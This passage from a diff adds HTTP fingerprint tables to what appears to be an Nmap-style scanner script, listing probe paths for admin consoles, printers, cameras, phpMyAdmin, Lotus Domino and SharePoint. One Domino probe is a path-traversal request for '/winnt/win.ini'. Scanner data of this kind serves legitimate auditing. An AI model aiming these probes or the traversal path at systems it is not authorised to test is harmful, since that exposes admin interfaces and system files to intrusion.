+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP System Management Homepage'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/ie_index.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/ilo.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP Integrated Lights Out'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/images/icon_server_connected.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP Blade Enclosure'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/mxhtml/images/signin_logo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/mxhtml/images/status_critical_15.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/mxportal/home/en_US/servicetools.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/mxportal/home/MxPortalFrames.jsp',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP Insight Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/xymon/menu/menu.css',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Xymon'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rrc.htm',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Raritan Remote Client'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/manager/html/upload',
+ method = 'HEAD'
+ },
+ {
+ path = '/manager/html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Apache Tomcat'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/axis2/axis2-web/HappyAxis.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/axis2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/happyaxis.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Apache Axis2'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/web-console/ServerInfo.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/web-console/Invoker',
+ method = 'HEAD'
+ },
+ {
+ path = '/invoker/JMXInvokerServlet',
+ method = 'HEAD'
+ },
+ {
+ path = '/invoker/',
+ method = 'HEAD'
+ },
+ {
+ path = '/jmx-console/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-console/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'JBoss Console'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/CFIDE/administrator/enter.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/CFIDE/administrator/entman/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/cfide/install.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/CFIDE/administrator/archives/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/CFIDE/wizards/common/_logintowizard.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/CFIDE/componentutils/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/CFIDE/Administrator/startstop.html',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ColdFusion Admin Console'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/common/help/en/go/login_ts.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/system/login/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system/login/reset?next=%2Fsystem%2Flogin&set-lang=en',
+ method = 'HEAD'
+ },
+ {
+ path = '/common/images/logos/img_logoMain.jpg',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = 'URL=http://www.macromedia.com/go/breeze_login_help_en',
+ output = 'Adobe Acrobat Connect Pro'
+ },
+ {
+ match = '<title>Connect Pro Central Login</title>',
+ output = 'Adobe Acrobat Connect Pro'
+ },
+ {
+ match = '<title>Forgot your password?</title>',
+ output = 'Adobe Acrobat Connect Pro'
+ },
+ {
+ match = 'Server: JRun Web Server',
+ output = 'Adobe Acrobat Connect Pro'
+ },
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/Dashboard/Dashboard.html',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'Server: Kodak-RulesBasedAutomation',
+ output = 'Prinergy Dashboard Client Login'
+ },
+ {
+ match = '<title>Dashboard</title>',
+ output = 'Prinergy Dashboard Client Login'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/flexfm/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Flex File Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/lib/usermanagement/userInfo.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Testlink TestManagement'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/security/xamppsecurity.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'XAMPP'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/system/console',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = 'OSGi Management Console',
+ output = 'OSGi Management Console'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/dm-albums/dm-albums.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'DM FileManager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ "/ibm/console/logon.jsp?action=OK",
+ "/console/",
+ "/console/portal/0/Welcome"
+ },
+ matches = {
+ {
+ match = "[Ww][Ee][Bb][Ss][Pp][Hh][Ee][Rr][Ee]",
+ output = "WebSphere"
+ },
+ {
+ match = "WSC Console Federation",
+ output = "WebSphere Commerce"
+ },
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/jira/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/secure/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<typeId>jira</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Jira \\1'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/servicedeskapi/info',
+ method = 'GET'
+ },
+ {
+ path = '/jira/rest/servicedeskapi/info',
+ method = 'GET'
+ },
+ {
+ path = '/secure/rest/servicedeskapi/info',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '"version":%s*"([^-"]+)',
+ output = 'Atlassian Jira Service Desk \\1'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/confluence/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/wiki/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<typeId>confluence</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Confluence \\1'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/bitbucket/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<typeId>stash</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Bitbucket Server \\1'
+ },
+ {
+ match = '<typeId>bitbucket</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Bitbucket Server \\1'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/bamboo/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<typeId>bamboo</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Bamboo \\1'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ {
+ path = '/crowd/rest/applinks/1.0/manifest',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<typeId>crowd</typeId>.*<version>([^<]+)</version>',
+ output = 'Atlassian Crowd \\1'
+ }
+ }
+ });
+
+------------------------------------------------
+---- PRINTERS, WEBCAMS, PROJECTORS ----
+------------------------------------------------
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/x_logo.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Xerox printer'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/gif/hp.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/gif/hp_invent_logo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/gif/printer.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/hp/device/this.LCDispatcher',
+ method = 'HEAD'
+ },
+ {
+ path = '/hp/device/webAccess/index.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/PageSelector.class',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP Printer'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/images/lexbold.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/lexlogo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/printer.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/printer/image',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Lexmark Printer'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/images/mute_alloff.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/pic_bri.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'NEC Projector'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/scanweb/images/scanwebtm.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SCAN Web (Webcam)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'printer',
+ probes = {
+ {
+ path = '/view/index.shtml',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Axis 212 PTZ Network Camera'
+ }
+ }
+ });
+
+------------------------------------------------
+---- DATABASES ----
+------------------------------------------------
+
+--phpmyadmin db taken from http://milw0rm.com/exploits/8921
+table.insert(fingerprints, {
+ category = 'database',
+ probes = {
+ {
+ path = '/phpmyadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/PHPMyAdmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/PMA/',
+ method = 'HEAD'
+ },
+ {
+ path = '/pma/',
+ method = 'HEAD'
+ },
+ {
+ path = '/dbadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/myadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/php-my-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.2.3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.2.6/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.4/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.5-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.5-rc2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.5/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.5-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.6-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.6-rc2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.6/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.7/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.5.7-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-alpha/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-alpha2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-beta1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-beta2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-rc2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-rc3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-pl2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.0-pl3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1-rc2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1-pl2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.1-pl3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.2-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.2-beta1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.2-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.3-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.3-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4-pl2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4-pl3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4-pl4/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.6.4/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.7.0-beta1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.7.0-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.7.0-pl1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.7.0-pl2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.7.0/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0-beta1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0-rc2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0.1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0.2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0.3/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.0.4/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.1-rc1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.1/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpMyAdmin-2.8.2/',
+ method = 'HEAD'
+ },
+ {
+ path = '/sqlmanager/',
+ method = 'HEAD'
+ },
+ {
+ path = '/php-myadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpmy-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/mysqladmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/mysql-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/websql/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_phpmyadmin/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'phpMyAdmin'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'database',
+ probes = {
+ {
+ path = '/footer1.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = '(possible) Oracle Web server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'database',
+ probes = {
+ {
+ path = '/homepage.nsf/homePage.gif?OpenImageResource',
+ method = 'HEAD'
+ },
+ {
+ path = '/icons/ecblank.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/852566C90012664F',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin4.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin5.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/agentrunner.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/alog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/a_domlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/bookmark.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/busytime.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/catalog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/certa.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/certlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/certsrv.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/chatlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/clbusy.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/cldbdir.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/clusta4.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/collect4.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/da.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/dba4.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/dclf.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASAppDesign.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog01.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog02.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog03.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog04.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog05.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEASLog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/decsadm.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/decslog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/DEESAdmin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/dirassist.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/doladmin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/domadmin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/domcfg.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/domguide.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/domlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/dspug.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/events4.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/events5.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/events.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/event.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/homepage.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/iNotes/Forms5.nsf/$DefaultNav',
+ method = 'HEAD'
+ },
+ {
+ path = '/jotter.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/leiadm.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/leilog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/leivlt.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/log4a.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/l_domlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/mab.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail10.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail1.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail2.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail3.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail4.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail5.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail6.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail7.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail8.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail9.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/msdwda.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/mtatbls.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/mtstore.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/names.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/nntppost.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/nntp/nd000001.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/nntp/nd000002.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/nntp/nd000003.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/ntsync45.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/perweb.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/qpadmin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/quickplace/quickplace/main.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/reports.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/sample/siregw46.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/schema50.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/setupweb.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/setup.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smbcfg.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smconf.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smency.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smhelp.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smmsg.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smquar.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smsolar.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smtime.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smtpibwq.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smtpobwq.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smtp.box',
+ method = 'HEAD'
+ },
+ {
+ path = '/smtp.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/smvlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/srvnam.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/statmail.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/statrep.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stauths.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stautht.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stconfig.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stconf.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stdnaset.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stdomino.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stlog.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/streg.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/stsrc.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/userreg.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/vpuserinfo.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/web.nsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/.nsf/../winnt/win.ini',
+ method = 'HEAD'
+ },
+ {
+ path = '/icons/ecblank.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Lotus Domino'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'database',
+ probes = {
+ {
+ path = '/_api/version',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '"server":"arango",.-"version":"([^"])"',
+ output = 'ArangoDB \\1'
+ }
+ }
+ });
+
+------------------------------------------------
+---- MICROSOFT ----
+------------------------------------------------
+table.insert(fingerprints, {
+ category = 'microsoft',
+ probes = {
+ {
+ path = '/_layouts/images/helpicon.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/Pages/Default.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/PublishingImages/NewsArticleImage.jpg',
+ method = 'HEAD'
+ },
+ {
+ path = '/_admin/operations.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/_app_bin',
+ method = 'HEAD'
+ },
+ {
+ path = '/_controltemplates',
+ method = 'HEAD'
+ },
+ {
+ path = '/_layouts',
+ method = 'HEAD'
+ },
+ {
+ path = '/_layouts/viewlsts.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/forms/allitems.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/forms/webfldr.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/forms/mod-view.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/forms/my-sub.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/categoryresults.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/categories/viewcategory.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitedirectory',
+ method = 'HEAD'
+ },
+ {
+ path = '/editdocs.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/workflowtasks/allitems.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/tasks/',
+ method = 'HEAD'
+ },
+ {
+ path = '/categories/allcategories.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/categories/SOMEOTHERDIR/allcategories.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/mycategories.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/allitems.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/default.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/allposts.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/archive.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/byauthor.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/calendar.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/mod-view.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/myposts.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/my-sub.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/allcomments.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/lists/mycomments.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/_layouts/userdisp.aspx',
